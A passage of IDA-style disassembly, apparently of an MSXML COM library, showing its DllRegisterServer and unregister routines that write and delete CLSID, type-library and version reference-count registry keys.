		call	RegCloseKey	; RegCloseKey


loc_69B2B576:				; CODE XREF: sub_69B2B4A9+56j
		lea	eax, [ebp+MultiByteStr]
		test	eax, eax
		jz	loc_69B2B69C
		push	esi		; cchWideChar
		lea	eax, [ebp+szFullPath]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cchMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		lea	eax, [ebp+pptlib]
		push	eax		; pptlib
		lea	eax, [ebp+szFullPath]
		push	eax		; szFile
		call	LoadTypeLib
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jl	short loc_69B2B5D2
		push	ebx		; szHelpDir
		lea	eax, [ebp+szFullPath]
		push	eax		; szFullPath
		push	[ebp+pptlib]	; ptlib
		call	RegisterTypeLib
		mov	[ebp+var_18], eax
		mov	eax, [ebp+pptlib]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2B5D2:				; CODE XREF: sub_69B2B4A9+10Aj
		mov	esi, RegSetValueExA
		mov	edi, ds:lstrlenA
		mov	[ebp+cbValueName], offset off_69B2B6B0


loc_69B2B5E5:				; CODE XREF: sub_69B2B4A9+1EDj
		mov	eax, [ebp+cbValueName]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	loc_69B2B69C
		lea	ecx, [ebp+phkResult]
		push	ecx		; phkResult
		push	3		; samDesired
		push	ebx		; ulOptions
		push	eax		; lpSubKey
		push	80000000h	; hKey
		call	RegOpenKeyExA	; RegOpenKeyExA
		cmp	eax, ebx
		mov	[ebp+dwIndex], eax
		jnz	short loc_69B2B681
		mov	ecx, [ebp+cbValueName]
		mov	eax, [ecx+8]
		dec	eax
		jz	short loc_69B2B65F
		dec	eax
		jz	short loc_69B2B64F
		dec	eax
		jnz	short loc_69B2B681
		push	dword ptr [ecx+4] ; lpString2
		lea	eax, [ebp+String]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		lea	eax, [ebp+String]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	edi ; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+String]
		jmp	short loc_69B2B65A
; ---------------------------------------------------------------------------


loc_69B2B64F:				; CODE XREF: sub_69B2B4A9+16Dj
		lea	eax, [ebp+String2]
		push	eax		; lpString
		call	edi ; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+String2]


loc_69B2B65A:				; CODE XREF: sub_69B2B4A9+1A4j
		push	eax
		push	1
		jmp	short loc_69B2B673
; ---------------------------------------------------------------------------


loc_69B2B65F:				; CODE XREF: sub_69B2B4A9+16Aj
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpString
		call	edi ; lstrlenA
		inc	eax
		push	eax		; cbData
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpData
		push	2		; dwType


loc_69B2B673:				; CODE XREF: sub_69B2B4A9+1B4j
		push	ebx		; Reserved
		push	offset byte_69B25C44 ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	esi ; RegSetValueExA
		mov	[ebp+dwIndex], eax


loc_69B2B681:				; CODE XREF: sub_69B2B4A9+161j
					; sub_69B2B4A9+170j
		cmp	[ebp+phkResult], ebx
		jz	short loc_69B2B68F
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2B68F:				; CODE XREF: sub_69B2B4A9+1DBj
		add	[ebp+cbValueName], 0Ch
		cmp	[ebp+dwIndex], ebx
		jz	loc_69B2B5E5


loc_69B2B69C:				; CODE XREF: sub_69B2B4A9+D5j
					; sub_69B2B4A9+143j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn
sub_69B2B4A9	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B2B6B0	dd offset aClsid2933bf947 ; DATA XREF: sub_69B2B4A9+135o
					; "CLSID\\{2933BF94-7B36-11d2-B20E-00C04F98"...
		align 8
		dd 1
		dd offset aClsid2933bf9_3 ; "CLSID\\{2933BF94-7B36-11d2-B20E-00C04F98"...
		dd 0
		dd 2
		dd offset aClsid373984c9B ; "CLSID\\{373984C9-B845-449B-91E7-45AC8303"...
		align 10h
		dd 1
		dd offset aClsid373984c_0 ; "CLSID\\{373984C9-B845-449B-91E7-45AC8303"...
		dd 0
		dd 2
		dd offset aClsidF5078f19C ; "CLSID\\{f5078f19-c551-11d3-89b9-0000f81f"...
		align 8
		dd 1
		dd offset aClsidF5078f1_0 ; "CLSID\\{f5078f19-c551-11d3-89b9-0000f81f"...
		dd 0
		dd 2
		dd offset aClsidF5078f27C ; "CLSID\\{f5078f27-c551-11d3-89b9-0000f81f"...
		align 10h
		dd 1
		dd offset aClsidF5078f2_0 ; "CLSID\\{f5078f27-c551-11d3-89b9-0000f81f"...
		dd 0
		dd 2
		dd offset aClsidF6d90f119 ; "CLSID\\{F6D90F11-9C73-11D3-B32E-00C04F99"...
		align 8
		dd 1
		dd offset aClsidF6d90f1_0 ; "CLSID\\{F6D90F11-9C73-11D3-B32E-00C04F99"...
		dd 0
		dd 2
		dd offset aClsidF6d90f129 ; "CLSID\\{F6D90F12-9C73-11D3-B32E-00C04F99"...
		align 10h
		dd 1
		dd offset aClsidF6d90f1_1 ; "CLSID\\{F6D90F12-9C73-11D3-B32E-00C04F99"...
		dd 0
		dd 2
		dd offset aClsidF6d90f149 ; "CLSID\\{F6D90F14-9C73-11D3-B32E-00C04F99"...
		align 8
		dd 1
		dd offset aClsidF6d90f1_2 ; "CLSID\\{F6D90F14-9C73-11D3-B32E-00C04F99"...
		dd 0
		dd 2
		dd offset aClsidF6d90f169 ; "CLSID\\{F6D90F16-9C73-11D3-B32E-00C04F99"...
		align 10h
		dd 1
		dd offset aMsxml2_domdocu ; "Msxml2.DOMDocument\\CurVer"
		dd offset aMsxml2_domdo_1 ; "Msxml2.DOMDocument."
		dd 3
		dd offset aMsxml2_dsocont ; "Msxml2.DSOControl\\CurVer"
		dd offset aMsxml2_dsoco_1 ; "Msxml2.DSOControl."
		dd 3
		dd offset aMsxml2_freethr ; "Msxml2.FreeThreadedDOMDocument\\CurVer"
		dd offset aMsxml2_freet_1 ; "Msxml2.FreeThreadedDOM."
		dd 3
		dd offset aMsxml2_xmlhttp ; "Msxml2.XMLHTTP\\CurVer"
		dd offset aMsxml2_xmlht_1 ; "Msxml2.XMLHTTP."
		dd 3
		dd offset aMsxml2_xmlpars ; "Msxml2.XMLParser\\CurVer"
		dd offset aMsxml2_xmlpa_1 ; "Msxml2.XMLParser."
		dd 3
		dd offset aMsxml2_xmlsche ; "Msxml2.XMLSchemaCache\\CurVer"
		dd offset aMsxml2_xmlsc_1 ; "Msxml2.XMLSchemaCache."
		dd 3
		dd offset aMsxml2_xslpatt ; "Msxml2.XSLPatternFactory\\CurVer"
		dd offset aMsxml2_xslpa_1 ; "Msxml2.XSLPatternFactory."
		dd 3
		dd offset aMsxml2_xsltemp ; "Msxml2.XSLTemplate\\CurVer"
		dd offset aMsxml2_xslte_1 ; "Msxml2.XSLTemplate."
		dd 3, 3	dup(0)
aMsxml2_xslte_1	db 'Msxml2.XSLTemplate.',0 ; DATA XREF: .text:69B2B7BCo
aMsxml2_xslpa_1	db 'Msxml2.XSLPatternFactory.',0 ; DATA XREF: .text:69B2B7B0o
		align 10h
aMsxml2_xmlsc_1	db 'Msxml2.XMLSchemaCache.',0 ; DATA XREF: .text:69B2B7A4o
		align 4
aMsxml2_xmlpa_1	db 'Msxml2.XMLParser.',0 ; DATA XREF: .text:69B2B798o
		align 4
aMsxml2_xmlht_1	db 'Msxml2.XMLHTTP.',0  ; DATA XREF: .text:69B2B78Co
aMsxml2_freet_1	db 'Msxml2.FreeThreadedDOM.',0 ; DATA XREF: .text:69B2B780o
aMsxml2_dsoco_1	db 'Msxml2.DSOControl.',0 ; DATA XREF: .text:69B2B774o
		align 4
aMsxml2_domdo_1	db 'Msxml2.DOMDocument.',0 ; DATA XREF: .text:69B2B768o
aClsidF6d90f169	db 'CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
					; DATA XREF: .text:69B2B758o
aClsidF6d90f1_2	db 'CLSID\{F6D90F14-9C73-11D3-B32E-00C04F990BB4}\Version',0
					; DATA XREF: .text:69B2B74Co
		align 10h
aClsidF6d90f149	db 'CLSID\{F6D90F14-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
					; DATA XREF: .text:69B2B740o
aClsidF6d90f1_1	db 'CLSID\{F6D90F12-9C73-11D3-B32E-00C04F990BB4}\Version',0
					; DATA XREF: .text:69B2B734o
		align 4
aClsidF6d90f129	db 'CLSID\{F6D90F12-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
					; DATA XREF: .text:69B2B728o
aClsidF6d90f1_0	db 'CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\Version',0
					; DATA XREF: .text:69B2B71Co
		align 4
aClsidF6d90f119	db 'CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
					; DATA XREF: .text:69B2B710o
aClsidF5078f2_0	db 'CLSID\{f5078f27-c551-11d3-89b9-0000f81fe221}\Version',0
					; DATA XREF: .text:69B2B704o
		align 4
aClsidF5078f27C	db 'CLSID\{f5078f27-c551-11d3-89b9-0000f81fe221}\InProcServer32',0
					; DATA XREF: .text:69B2B6F8o
aClsidF5078f1_0	db 'CLSID\{f5078f19-c551-11d3-89b9-0000f81fe221}\Version',0
					; DATA XREF: .text:69B2B6ECo
		align 10h
aClsidF5078f19C	db 'CLSID\{f5078f19-c551-11d3-89b9-0000f81fe221}\InProcServer32',0
					; DATA XREF: .text:69B2B6E0o
aClsid373984c_0	db 'CLSID\{373984C9-B845-449B-91E7-45AC83036ADE}\Version',0
					; DATA XREF: .text:69B2B6D4o
		align 4
aClsid373984c9B	db 'CLSID\{373984C9-B845-449B-91E7-45AC83036ADE}\InProcServer32',0
					; DATA XREF: .text:69B2B6C8o
aClsid2933bf9_3	db 'CLSID\{2933BF94-7B36-11d2-B20E-00C04F983E60}\Version',0
					; DATA XREF: .text:69B2B6BCo
		align 4
aClsid2933bf947	db 'CLSID\{2933BF94-7B36-11d2-B20E-00C04F983E60}\InProcServer32',0
					; DATA XREF: .text:off_69B2B6B0o
; char aClsid2933bf907[]
aClsid2933bf907	db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}\VersionList',0
					; DATA XREF: sub_69B2B4A9+3Fo
		align 10h
aFixsidebyside	db 'FixSideBySide',0    ; DATA XREF: sub_69B2B4A9+16o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2BC2E(LPCSTR phkResult, LPCSTR lpValueName, LPCSTR lpString1)

sub_69B2BC2E	proc near		; CODE XREF: sub_69B2BCC2+9p
					; sub_69B2BCC2+21p ...

String2		= byte ptr -110h
Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
var_4		= dword	ptr -4
phkResult	= dword	ptr  8
lpValueName	= dword	ptr  0Ch
lpString1	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		xor	esi, esi
		inc	esi
		push	esi		; samDesired
		push	0		; ulOptions
		push	[ebp+phkResult]	; lpSubKey
		push	80000000h	; hKey
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2BCB0
		cmp	[ebp+lpString1], eax
		jz	short loc_69B2BCA5
		cmp	[ebp+lpValueName], eax
		jz	short loc_69B2BCA5
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+String2]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		mov	[ebp+cbData], 104h
		push	[ebp+phkResult]	; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2BCA7
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		push	[ebp+lpString1]	; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		mov	esi, eax
		jmp	short loc_69B2BCA7
; ---------------------------------------------------------------------------


loc_69B2BCA5:				; CODE XREF: sub_69B2BC2E+34j
					; sub_69B2BC2E+39j
		xor	esi, esi


loc_69B2BCA7:				; CODE XREF: sub_69B2BC2E+61j
					; sub_69B2BC2E+75j
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2BCB0:				; CODE XREF: sub_69B2BC2E+2Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, esi
		pop	esi
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B2BC2E	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2BCC2(LPCSTR lpString1)

sub_69B2BCC2	proc near		; CODE XREF: DllRegisterServer+19p

lpString1	= dword	ptr  4

		push	0		; lpString1
		push	0		; lpValueName
		push	offset phkResult ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		call	sub_69B2BC2E
		cmp	eax, 1
		jz	short loc_69B2BCF0
		push	[esp+lpString1]	; lpString1
		push	offset aRegversion ; "RegVersion"
		push	offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		call	sub_69B2BC2E
		test	eax, eax
		jz	short loc_69B2BCF0
		xor	eax, eax
		jmp	short locret_69B2BCF3
; ---------------------------------------------------------------------------


loc_69B2BCF0:				; CODE XREF: sub_69B2BCC2+11j
					; sub_69B2BCC2+28j
		xor	eax, eax
		inc	eax

locret_69B2BCF3:			; CODE XREF: sub_69B2BCC2+2Cj
		retn	4
sub_69B2BCC2	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2BCF6(LPCSTR lpString1)

sub_69B2BCF6	proc near		; CODE XREF: DllUnregisterServer+21p

lpString1	= dword	ptr  4

		push	[esp+lpString1]	; lpString1
		push	offset aRegversion ; "RegVersion"
		push	offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		call	sub_69B2BC2E
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	4
sub_69B2BCF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2BD11	proc near		; CODE XREF: DllRegisterServer:loc_69B2C25Ep

dwDisposition	= dword	ptr -18h
Type		= dword	ptr -14h
var_10		= dword	ptr -10h
cbData		= dword	ptr -0Ch
Data		= byte ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		xor	esi, esi
		push	esi		; ulOptions
		mov	ebx, offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		push	ebx		; lpSubKey
		mov	edi, 80000000h
		push	edi		; hKey
		mov	[ebp+hKey], esi
		mov	dword ptr [ebp+Data], esi
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2BD6A
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	esi		; lpReserved
		push	offset aRefcount ; "RefCount"
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], 4
		call	RegQueryValueExA	; RegQueryValueExA
		cmp	eax, esi
		jz	short loc_69B2BD8A
		mov	dword ptr [ebp+Data], esi
		jmp	short loc_69B2BD8A
; ---------------------------------------------------------------------------


loc_69B2BD6A:				; CODE XREF: sub_69B2BD11+2Cj
		lea	eax, [ebp+dwDisposition]
		push	eax		; lpdwDisposition
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	esi		; lpSecurityAttributes
		push	20006h		; samDesired
		push	esi		; dwOptions
		push	esi		; lpClass
		push	esi		; Reserved
		push	ebx		; lpSubKey
		push	edi		; hKey
		call	RegCreateKeyExA	; RegCreateKeyExA
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jnz	short loc_69B2BDA7


loc_69B2BD8A:				; CODE XREF: sub_69B2BD11+52j
					; sub_69B2BD11+57j
		inc	dword ptr [ebp+Data]
		push	4		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	4		; dwType
		push	esi		; Reserved
		push	offset aRefcount ; "RefCount"
		push	[ebp+hKey]	; hKey
		call	RegSetValueExA	; RegSetValueExA
		mov	[ebp+var_10], eax


loc_69B2BDA7:				; CODE XREF: sub_69B2BD11+77j
		cmp	[ebp+hKey], esi
		jz	short loc_69B2BDB5
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2BDB5:				; CODE XREF: sub_69B2BD11+99j
		cmp	[ebp+var_10], esi
		jnz	short loc_69B2BE2F
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	esi		; ulOptions
		push	ebx		; lpSubKey
		push	edi		; hKey
		mov	[ebp+cbData], 4
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2BDF8
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	esi		; lpReserved
		push	offset aVersion26refco ; "Version26RefCount"
		push	[ebp+hKey]	; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		cmp	eax, esi
		jz	short loc_69B2BE15
		mov	dword ptr [ebp+Data], esi
		jmp	short loc_69B2BE15
; ---------------------------------------------------------------------------


loc_69B2BDF8:				; CODE XREF: sub_69B2BD11+C1j
		lea	eax, [ebp+dwDisposition]
		push	eax		; lpdwDisposition
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	esi		; lpSecurityAttributes
		push	20006h		; samDesired
		push	esi		; dwOptions
		push	esi		; lpClass
		push	esi		; Reserved
		push	ebx		; lpSubKey
		push	edi		; hKey
		call	RegCreateKeyExA	; RegCreateKeyExA
		cmp	eax, esi
		jnz	short loc_69B2BE2F


loc_69B2BE15:				; CODE XREF: sub_69B2BD11+E0j
					; sub_69B2BD11+E5j
		inc	dword ptr [ebp+Data]
		push	4		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	4		; dwType
		push	esi		; Reserved
		push	offset aVersion26refco ; "Version26RefCount"
		push	[ebp+hKey]	; hKey
		call	RegSetValueExA	; RegSetValueExA


loc_69B2BE2F:				; CODE XREF: sub_69B2BD11+A7j
					; sub_69B2BD11+102j
		cmp	[ebp+hKey], esi
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_69B2BE40
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2BE40:				; CODE XREF: sub_69B2BD11+124j
		mov	eax, dword ptr [ebp+Data]
		leave
		retn
sub_69B2BD11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2BE45	proc near		; CODE XREF: DllUnregisterServer+29p

Type		= dword	ptr -14h
Data		= byte ptr -10h
cbData		= dword	ptr -0Ch
var_8		= dword	ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	edi, RegOpenKeyExA
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		xor	eax, eax
		push	3		; samDesired
		push	eax		; ulOptions
		mov	esi, offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		push	esi		; lpSubKey
		mov	ebx, 80000000h
		push	ebx		; hKey
		mov	[ebp+hKey], eax
		mov	[ebp+var_8], 1
		mov	dword ptr [ebp+Data], eax
		call	edi ; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2BEAF
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		mov	ebx, offset aVersion26refco ; "Version26RefCount"
		push	ebx		; lpValueName
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], 4
		call	RegQueryValueExA	; RegQueryValueExA
		push	ebx		; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegDeleteValueA	; RegDeleteValueA
		mov	ebx, 80000000h


loc_69B2BEAF:				; CODE XREF: sub_69B2BE45+35j
		cmp	[ebp+hKey], 0
		jz	short loc_69B2BEBE
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2BEBE:				; CODE XREF: sub_69B2BE45+6Ej
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	0		; ulOptions
		push	esi		; lpSubKey
		push	ebx		; hKey
		call	edi ; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2BF24
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+var_8]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		mov	esi, offset aRefcount ;	"RefCount"
		push	esi		; lpValueName
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], 4
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2BF20
		mov	eax, dword ptr [ebp+Data]
		sub	[ebp+var_8], eax
		jnz	short loc_69B2BF0A
		push	esi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegDeleteValueA	; RegDeleteValueA
		jmp	short loc_69B2BF24
; ---------------------------------------------------------------------------


loc_69B2BF0A:				; CODE XREF: sub_69B2BE45+B7j
		push	4		; cbData
		lea	eax, [ebp+var_8]
		push	eax		; lpData
		push	4		; dwType
		push	0		; Reserved
		push	esi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExA	; RegSetValueExA
		jmp	short loc_69B2BF24
; ---------------------------------------------------------------------------


loc_69B2BF20:				; CODE XREF: sub_69B2BE45+AFj
		and	[ebp+var_8], 0


loc_69B2BF24:				; CODE XREF: sub_69B2BE45+87j
					; sub_69B2BE45+C3j ...
		xor	esi, esi
		cmp	[ebp+hKey], esi
		jz	short loc_69B2BF34
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2BF34:				; CODE XREF: sub_69B2BE45+E4j
		cmp	[ebp+var_8], esi
		jnz	short loc_69B2BF64
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	esi		; ulOptions
		push	offset phkResult ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		push	ebx		; hKey
		call	edi ; RegOpenKeyExA
		cmp	[ebp+hKey], esi
		jz	short loc_69B2BF64
		push	offset aSidebyside ; "SideBySide"
		push	[ebp+hKey]	; hKey
		call	RegDeleteKeyA	; RegDeleteKeyA
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2BF64:				; CODE XREF: sub_69B2BE45+F2j
					; sub_69B2BE45+106j
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B2BE45	endp

; ---------------------------------------------------------------------------
; char aSidebyside[]
aSidebyside	db 'SideBySide',0       ; DATA XREF: sub_69B2BE45+108o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2BF77	proc near		; CODE XREF: DllUnregisterServer+18Ep

szFullPath	= word ptr -428h
MultiByteStr	= byte ptr -220h
Src		= byte ptr -11Ch
Type		= dword	ptr -18h
cbData		= dword	ptr -14h
ptlib		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hKey		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 428h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, RegOpenKeyExA
		push	edi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	1		; samDesired
		push	0		; ulOptions
		push	offset aClsid2933bf9_2 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		mov	edi, 80000000h
		mov	ebx, 103h
		push	edi		; hKey
		mov	[ebp+var_C], 80004005h
		mov	[ebp+cbData], ebx
		call	esi ; RegOpenKeyExA
		test	eax, eax
		jnz	loc_69B2C059
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Src]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		push	offset byte_69B25C44 ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2C050
		push	ebx		; nSize
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpDst
		lea	eax, [ebp+Src]
		push	eax		; lpSrc
		call	ds:ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		test	eax, eax
		jbe	short loc_69B2C050
		push	104h		; cchWideChar
		lea	eax, [ebp+szFullPath]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cchMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		xor	ebx, ebx
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		lea	eax, [ebp+ptlib]
		push	eax		; pptlib
		lea	eax, [ebp+szFullPath]
		push	eax		; szFile
		call	LoadTypeLib
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jl	short loc_69B2C050
		push	ebx		; szHelpDir
		lea	eax, [ebp+szFullPath]
		push	eax		; szFullPath
		push	[ebp+ptlib]	; ptlib
		call	RegisterTypeLib
		mov	[ebp+var_C], eax
		mov	eax, [ebp+ptlib]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2C050:				; CODE XREF: sub_69B2BF77+6Aj
					; sub_69B2BF77+83j ...
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2C059:				; CODE XREF: sub_69B2BF77+43j
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	0		; ulOptions
		push	offset phkResult ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
		push	edi		; hKey
		call	esi ; RegOpenKeyExA
		test	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		jnz	short loc_69B2C08C
		cmp	[ebp+hKey], eax
		jz	short loc_69B2C08C
		push	offset aVersionlist ; "VersionList"
		push	[ebp+hKey]	; hKey
		call	RegDeleteKeyA	; RegDeleteKeyA
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B2C08C:				; CODE XREF: sub_69B2BF77+F7j
					; sub_69B2BF77+FCj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_C]
		call	sub_69B1B9F6
		leave
		retn
sub_69B2BF77	endp

; ---------------------------------------------------------------------------
; char aVersionlist[]
aVersionlist	db 'VersionList',0      ; DATA XREF: sub_69B2BF77+FEo
; char aClsid2933bf9_2[]
aClsid2933bf9_2	db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}\InProcServer32',0
					; DATA XREF: sub_69B2BF77+25o
; Exported entry  16. DllRegisterServer

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; HRESULT __stdcall DllRegisterServer()
		public DllRegisterServer

DllRegisterServer proc near

szFullPath	= word ptr -328h
Filename	= byte ptr -120h
Type		= dword	ptr -1Ch
cbData		= dword	ptr -18h
hKey		= dword	ptr -14h
ptlib		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	offset String1	; lpString1
		mov	[ebp+var_4], eax
		call	sub_69B2BCC2
		test	eax, eax
		jz	short loc_69B2C123
		call	sub_69B2B309
		test	eax, eax
		jz	short loc_69B2C119
		push	offset aRegmime	; "RegMIME"
		call	sub_69B2B41B


loc_69B2C119:				; CODE XREF: DllRegisterServer+29j
		push	offset aRegold	; "RegOld"
		call	sub_69B2B41B


loc_69B2C123:				; CODE XREF: DllRegisterServer+20j
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_C], esi
		xor	ebx, ebx
		mov	edi, 104h


loc_69B2C132:				; CODE XREF: DllRegisterServer+108j
		cmp	ebx, 0A0h
		jnb	loc_69B2C1F2
		mov	eax, ds:dword_69B258E0[ebx]
		cmp	eax, esi
		jz	loc_69B2C1D8
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	1		; samDesired
		push	esi		; ulOptions
		push	eax		; lpSubKey
		push	80000000h	; hKey
		mov	[ebp+var_5], 1
		mov	[ebp+cbData], edi
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2C1D8
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Filename]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	esi		; lpReserved
